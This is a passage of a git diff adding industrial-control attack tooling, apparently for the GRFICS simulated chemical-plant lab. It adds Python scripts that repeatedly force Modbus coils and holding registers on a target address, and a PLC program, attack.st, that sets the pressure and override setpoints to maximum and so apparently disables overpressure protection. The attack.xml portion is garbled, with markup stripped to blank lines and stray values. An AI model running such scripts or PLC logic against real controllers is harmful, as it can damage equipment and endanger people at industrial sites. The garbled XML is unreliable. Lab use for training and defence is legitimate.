style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 